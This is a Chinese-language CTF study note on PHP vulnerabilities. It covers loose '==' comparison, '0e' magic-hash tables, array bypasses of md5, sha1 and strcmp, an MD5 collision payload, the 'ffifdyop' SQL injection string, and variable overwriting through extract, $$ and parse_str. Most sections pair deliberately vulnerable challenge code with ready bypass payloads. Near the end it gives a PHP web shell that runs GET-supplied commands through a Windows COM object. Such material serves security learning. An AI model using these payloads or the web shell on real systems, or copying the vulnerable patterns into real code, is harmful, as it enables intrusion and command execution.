弱类型

字符串与数值做比较,会先把字符串转换成数值

$a==$b 意思是,如果不同类型,经过类型转换后,$a与$b 相等

$a===$b 类型也要相等,全等于

1
2
3
4
5
6
7
8
9
''==0==false
'123'==123
'abc'==0
'123a'==123
0x01==1
'0e123456789'='0e987654321'
[false]==[0]==[NULL]==['']
NULL==false==0
true==1

MD5 比较

PHP 在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为 0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么 PHP 将会认为他们相同,都是 0
md5(strings,true),如果是 true 就返回十六进制的值

第一级

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST['param1'])==md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>

分析

比较 post 数据,不能相等,数据类型转化后是相等的就行

利用

md5 弱比较,为 0e 开头的会被识别为科学记数法,结果均为 0

image.png
image.png
明文 MD5
240610708 0e462097431906509019562988736854
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
PJNPDWY 0e291529052894702774557631701704
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570
GZECLQZ 0e537612333747236407713628225676
GGHMVOE 0e362766013028313274586933780773
GEGHBXL 0e248776895502908863709684713578
EEIZDOI 0e782601363539291779881938479162
DYAXWCA 0e424759758842488633464374063001
DQWRASX 0e742373665639232907775599582643
BRTKUJZ 00e57640477961333848717747276704
ABJIHVY 0e755264355178451322893275696586
aaaXXAYW 0e540853622400160407992788832284
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299
0e215962017 0e291242476940776845150308577824
明文 MD4
bhhkktQZ 0e949030067204812898914975918567
0e001233333333333334557778889 0e434041524824285414215559233446
0e00000111222333333666788888889 0e641853458593358523155449768529
0001235666666688888888888 0e832225036643258141969031181899

第二级

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>

分析

比上一级多了个=,会检查类型

利用

md5 强比较,没有规定字符串如果这个时候传入的是数组不是字符串,md5()函数无法解出其数值并且不会报错,就会得到数值相等;

param1[]=111&param2[]=222

第三级

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>

分析

区别在于,前面检查的是完全不相等,问题在于如果传递的值不相等,他还是不相等,所以直接用上一个的 payload

利用

param1[]=111&param2[]=222

第四级

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set("display_error",false);
error_reporting(0);
if((string)$_POST['param1']!==(string)$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>

分析

真实 md5 碰撞,因为此时不能输入数组了,只能输入字符串

利用

强 MD5 碰撞,fastcoll.exefastcoll(MD5 强碰撞).zip

当期目录下新建一个 0.txt 文件,使用下面的命令,生成 MD5 相同的 1.txt 和 2.txt
命令行使用:
fastcoll.exe -p 0.txt -o 1.txt 2.txt

image.png
image.png

可以直接 POST 传文件

还可以用 Python 来把数据提出来:二进制字符串->二进制流->16 进制->url 编码

1
2
3
from urllib import parse
a=parse.quote(open('1.txt','rb').read())
print(a)
image.png
image.png

传参:

param1=f%A8%9D%B3%8D%FD%CA-%9ElX%E8%C4%95%03%FC%BE%89%D7%EA%20%3CS%FB/f7e%0A%900%08%15%CE%C3%F2%E0%E5U%0Eo%06W%DC%913%99%A2%97%9D-F%25%BE%A3%09%A5%C4%3Bj%D8kb%18%0E%01MK%A7%E1%19%DDD%2CL%DDJ%DA%22%84%CCj0%09f%26%E1%C9%1Av%BD%ECG%FE%E9Ne%9E%9B%F4%0E%E8%10%88bU7%D2%E4%D5%E8P8%B1z%13%2C%82%F8%8D%1B%3Fk%AF%BC3%05
&param2=f%A8%9D%B3%8D%FD%CA-%9ElX%E8%C4%95%03%FC%BE%89%D7j%20%3CS%FB/f7e%0A%900%08%15%CE%C3%F2%E0%E5U%0Eo%06W%DC%91%B3%99%A2%97%9D-F
%25%BE%A3%09%A5%C4%BBj%D8kb%18%0E%01MK%A7%E1%19%DDD%2CL%DDJ%DA%22%84%CCj%B0%09f%26%E1%C9%1Av%BD%ECG%FE%E9Ne%9E%9B%F4%0E%E8%10%88bU7%D2d%D5%E8P8%B1z%13%2C%82%F8%8D%1B%3F%EB%AF%BC3%05

image.png
image.png

SHA1 比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ini_set("display_error",false);
error_reporting(0);
$flag = "flag";
if(isset($_GET['name'])and isset ($_GET['password']))
{
if($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if(sha1($_GET['name'])===sha1($_GET['password']))
die('Flag:'.flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first</p>';
?>

分析

发现返回值还是 string,所以还是可以用数组让他出错

http://127.0.0.1/php/type/sha1.php?name[]=1&password[]=
就可以,另外:

明文 SHA1
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393
aaO8zKZF 0e89257456677279068558073954252716165668
aa3OFF9m 0e36977786278517984959260394024281014729

MD5 结合 Sqli

这个字符串:ffifdyop,经过 md5 后会变成:'or'6�]��!r,��b

然后’ or ‘就成功绕过,真的是太巧了

实验吧的题目:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

参考:https://blog.csdn.net/sinat_41380394/article/details/81490193

JSON 相关

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$flag="flag{welcome_to_json_world!}";
if(isset($_POST['message'])){
$message=json_decode($_POST['message']);
if($message->key == $key){
echo $flag;
}
else{echo "fail";}
}
else{
echo "=_=!";
}
?>

分析

经过 json 编码后与$key 进行比较,但是我们并不知道 key 的值

json_decode 相关知识

https://www.php.net/manual/zh/function.json-decode.php

利用

字符串与 0 做比较会相等,传 message={“key”:0}

switch 相关

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$key=$_POST['key'];
switch($key){
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag{hello_world}";
break;
}
?>

当$key是字符串时,跟下面比较会强制转换为int型,switch使用的是==格式,只要$key 开头是 3 就可以

strcmp 相关

转换成 ascii 后逐字节进行比较
返回相当于前面的减去后面的值
strcmp(‘ab’,’aa’) 返回的是 1

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag="flag{welcome_to_strcmp_world!}";
if(isset($_POST['message'])){
if (strcmp($_POST['message'],$password)==0){
echo "right!!!";
echo $flag;
exit();
}
else{echo "fail";}
}
?>

传一个数组就可以得到 flag

in_array 相关

1
2
3
4
5
6
7
<?php
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array('3', $array));
?>
//结果:bool(true) bool(true) bool(true)

检查是否在数组中,但是还是弱类型,说所以’abc’与 0 是一样的

array_search 相关

1
2
3
4
5
6
7
8
<?php
$array=[0,1,2,'3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));
?>
//结果:int(0) int(1) int(3) int(3)

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="flag{welcome_to_array_world!}";
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search('admin',$test)===0)
{
echo $flag;
}
else{
echo "=_=!";
}
?>

传参:test[]=0

strpos 相关

查找字符串首次出现的位置

strpos(‘abc’,’a’)

变量覆盖

extract()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$trueflag="flag{11111_22_4232}";
extract($_GET);
if(isset($gift)){
$content = trim(file_get_contents($flag));
if($gift==$content){
echo $trueflag;
}
else{
echo "emm...";
}
}
?>

http://127.0.0.1/php/variable/extract.php?gift=&flag=

$$

遍历初始化变量

1
2
3
4
5
6
7
8
9
<?php
$a='hello';
echo "$a";
echo '</br>';
foreach($_GET as $key => $value){
$$key =$value;
}
echo "$a";
?>

如果传递的参数是 a=123,那么 GET 得到的是是 a=123,把$key的值给$value,意思就是$value=123
$key 是 a,那么$$key就是$a

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$_403 = "Access Denied";
$_200 = "Welcome Admin";
$flag = "flag{hello_hacker}";
if($_SERVER['REQUEST_METHOD']!="POST")
{
die("AEUCTF is here :p...");
}
if(!isset($_POST['flag']))
{
die($_403);
}
foreach($_GET as $key => $value)
{
$$key = $$value;
}
foreach ($_POST as $key => $value)
{
$$key = $value;
}
if($_POST["flag"]!==$flag)
{
die($_403);
}
echo "This is your flag: ".$flag."\n";
die($_200);
?>

get 传参_200=flag
post 传参 flag=111

parse_str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$flag="flag{hello_world}";
if(empty($_GET['id']))
{
show_source(_FILE_);
die();
}
else
{
$a='yichen666';
$id=$_GET['id'];
@parse_str($id);
if($a[0]!='QNKCDZO'&&md5($a[0])==md5('QNKCDZO'))
{
echo $flag;
}
else
{
exit('It\'s so easy!!');
}
}
?>

分析

parse_str 会将传入的值变成变量,也就是说传入?id=a[0]那么就会有一个叫做 a[0]的变量,然后只要这个变量的 md5 跟 QNKCDZO 相等就可以了
注意:这个函数使用时,由于 php 变量名中不能带点和空格,他们会被转换成下划线

利用

http://127.0.0.1/php/variable/parse_str.php?id=a[0]=s214587387a

空白符

intval

会跳过一些空白符:\t\n\r\v\f 等
获取变量的整数值,成功时返回 integer 值,失败时返回 0,空的 array 返回 0,非空的 array 返回 1
常规字符串会消失:123aa 会变成 123

浮点精度

1.000000000000000000001==1(0 加到一定程度是跟 1 一样大的)

is_numeric

检查变量是否为数字或数字字符串
is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,不会过滤,而是返回 false

1
2
3
4
5
6
7
8
9
<?php
//bugku的一道题
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

trim

默认情况下会除掉首尾空白符:\n\t\r\v\0\x0B
trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f

伪随机数

种子一样的时候生成的随机数是一样的,如果拿到了种子,可以知道接下来生成的随机数

mt_srand

mt_rand

运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$flag="flag{hello_world!}";
$a="test";
$b="test2";
$a=$_GET['a'];
$b=$_GET['b'];
$c=is_numeric($a) and is_numeric($b);
if($c)
{
if(is_numeric($a))
{
if(is_numeric($b))
{
echo "is_numeric(b)";
}
else
{
echo $flag;
}
}
else
{
echo 'is_numeric(a) error';
}
}
else
{
print "is_numeric(a) and is_numeric(b) error !";
}
?>

http://127.0.0.1/php/learn/yun_suan_fu.php?a=123
第七行,先$c=is_numeric($a),然后再 and,但是$c已经是正确的了,下面的$b 就用定义好的就行了

parse_url

解析 url,返回其组成部分,返回值是数组

escapeshellarg

把字符串转码为可以在 shell 中使用的参数

给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数
并且还是确保安全的

escapeshellcmd

shell 元字符转义,对字符串中存在的可能欺骗 shell 执行的任意命令的字符进行转义

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

disable_function

apache 的配置文件 php.ini 文件中定义的不允许执行的函数,在 phpinfo 中也会有表示

黑名单绕过

使用不在列表之中的函数
如果 system 可以使用 php 本身的命令实现,可以不用 system
例如:scandir 用于列目录,就代替了 system(‘ls’);

扩展使用

Windows 下 COM 组件(系统组件)

1
2
3
4
5
6
7
8
<?php
$command = $_GET['a'];
$wsh = new COM('WScript.shell');//生成一个COM对象 Shell.Application也行
$exec = $wsh->exec("cmd /c ".$command);//调用对象方法来执行命令
$stdout = $exec->stdout();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

pcntl 扩展

以给定参数执行程序